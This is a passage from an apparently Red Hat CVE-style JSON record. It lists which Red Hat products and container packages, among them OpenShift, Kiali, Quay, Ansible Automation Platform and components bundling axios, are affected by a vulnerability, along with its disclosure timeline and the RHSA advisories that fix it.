\"rhmtc/openshift-migration-ui-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.14::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.14\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782911957\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-console\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.15::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.15\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782127091\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-console\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.16::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.16\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782244020\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-console-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.20::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.20\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1781695012\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-monitoring-plugin-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.20::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.20\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784148076\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-agent-installer-ui-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.21::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.21\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1781731914\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-monitoring-plugin-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.21::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.21\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784134078\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-agent-installer-ui-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4.22::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4.22\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784119173\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift4/ose-agent-installer-ui-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.29::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.29\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782498792\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/dashboard-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:2.6::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 2.6\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1781937133\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-ossmc-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:2.6::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 2.6\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782287580\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.0::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.0\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201894\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-ossmc-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.0::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.0\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201833\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.1::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.1\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201696\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-ossmc-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.1::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.1\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201537\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.2::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201851\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-ossmc-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.2::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201812\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.3::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.3\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782231869\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-ossmc-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3.3::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Service Mesh 3.3\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782201466\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"openshift-service-mesh/kiali-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quay:3.10::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Quay 3.1\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783750447\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"quay/quay-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quay:3.12::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Quay 3.12\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783751865\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"1784353904\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"quay/quay-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quay:3.15::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Quay 3.15\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784351966\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"quay/quay-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quay:3.16::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Quay 3.16\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783955846\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"quay/quay-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:quay:3.9::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Quay 3.9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784125838\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"quay/quay-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4\", \"packageName\": \"axios\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4\", \"packageName\": \"cryostat-openshift-console-plugin-npm\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:gatekeeper:3\"], \"vendor\": \"Red Hat\", \"product\": \"Gatekeeper 3\", \"packageName\": \"gatekeeper/gatekeeper-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:migration_toolkit_applications:8\"], \"vendor\": \"Red Hat\", \"product\": \"Migration Toolkit for Applications 8\", \"packageName\": \"mta/mta-ui-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:migration_toolkit_applications:8\"], \"vendor\": \"Red Hat\", \"product\": \"Migration Toolkit for Applications 8\", \"packageName\": \"mta/mta-ui-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:network_observ_optr:1\"], \"vendor\": \"Red Hat\", \"product\": \"Network Observability Operator\", \"packageName\": \"network-observability/network-observability-console-plugin-pf4-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:network_observ_optr:1\"], \"vendor\": \"Red Hat\", \"product\": \"Network Observability Operator\", \"packageName\": \"network-observability/network-observability-console-plugin-pf5-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:network_observ_optr:1\"], \"vendor\": \"Red Hat\", \"product\": \"Network Observability Operator\", \"packageName\": \"network-observability/network-observability-console-plugin-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_pipelines:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Pipelines\", \"packageName\": \"openshift-pipelines/pipelines-hub-ui-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_pipelines:1\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Pipelines\", \"packageName\": \"openshift-pipelines/pipelines-hub-ui-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Service Mesh 3\", \"packageName\": \"openshift-service-mesh/kiali-operator-bundle\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:service_mesh:3\"], \"vendor\": \"Red Hat\", \"product\": \"OpenShift Service Mesh 3\", \"packageName\": \"openshift-service-mesh/kiali-rhel9-operator\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp21/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp22/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp2/system-rhel7\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp2/system-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp2/system-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"packageName\": \"axios\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"ansible-automation-platform/automation-dashboard-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"automation-controller\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"automation-hub\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"python3.11-galaxy-ng\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"python3.12-galaxy-ng\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"python3x-galaxy-ng\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2\", \"packageName\": \"python-galaxy-ng\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:camel_spring_boot:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel for Spring Boot 4\", \"packageName\": \"axios\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:apache_camel_hawtio:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel - HawtIO 4\", \"packageName\": \"axios\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apicurio_registry:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 3\", \"packageName\": \"apicurio/apicurio-registry-ui-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:apicurio_registry:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apicurio Registry 3\", \"packageName\": \"apicurio/apicurio-registry-ui-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:podman_desktop:0\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Build of Podman Desktop - Tech Preview\", \"packageName\": \"rhdesktop/rh-podman-desktop-ext-openshift-local-rhel10\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"grafana\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"grafana-pcp\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"grafana\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"rhelai3/bootc-cuda-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"rhelai3/bootc-gaudi-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"rhelai3/bootc-rocm-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux_ai:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux AI (RHEL AI) 3\", \"packageName\": \"rhelai3/disk-image-cuda-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"axios\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-dashboard-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-dashboard-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mlflow-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-automl-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-autorag-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-eval-hub-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-gen-ai-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-maas-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-mlflow-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-mod-arch-model-registry-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4\", \"packageName\": \"openshift4/ose-agent-installer-ui-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces\", \"packageName\": \"devspaces/code-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:container_native_virtualization:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Virtualization 4\", \"packageName\": \"container-native-virtualization/kubevirt-console-plugin\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"packageName\": \"satellite/iop-advisor-frontend-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"packageName\": \"satellite/iop-host-inventory-frontend-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:satellite:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Satellite 6\", \"packageName\": \"satellite/iop-vulnerability-frontend-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:trusted_artifact_signer:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Trusted Artifact Signer\", \"packageName\": \"rhtas/rhtas-console-ui-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:trusted_profile_analyzer:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Trusted Profile Analyzer\", \"packageName\": \"rhtpa/rhtpa-trustification-service-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_portal:2\"], \"vendor\": \"Red Hat\", \"product\": \"Self-service automation portal 2\", \"packageName\": \"ansible-automation-platform/automation-portal\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_portal:2\"], \"vendor\": \"Red Hat\", \"product\": \"Self-service automation portal 2\", \"packageName\": \"ansible-automation-platform/bootc-automation-portal-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2026-06-11T17:00:53.999Z\", \"value\": \"Reported to Red Hat.\"}, {\"lang\": \"en\", \"time\": \"2026-06-11T15:33:12.433Z\", \"value\": \"Made public.\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"RHSA-2026:42078: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:34160: Red Hat Ansible Automation Platform 2.6 for RHEL 9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41064: Red Hat Advanced Cluster Management for Kubernetes 2.11\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:30651: Red Hat Advanced Cluster Management for Kubernetes 2.13\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36882: Red Hat Advanced Cluster Management for Kubernetes 2.14\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:46903: Red Hat Advanced Cluster Management for Kubernetes 2.15\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:20938: Red Hat Advanced Cluster Security 4.9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:34374: Red 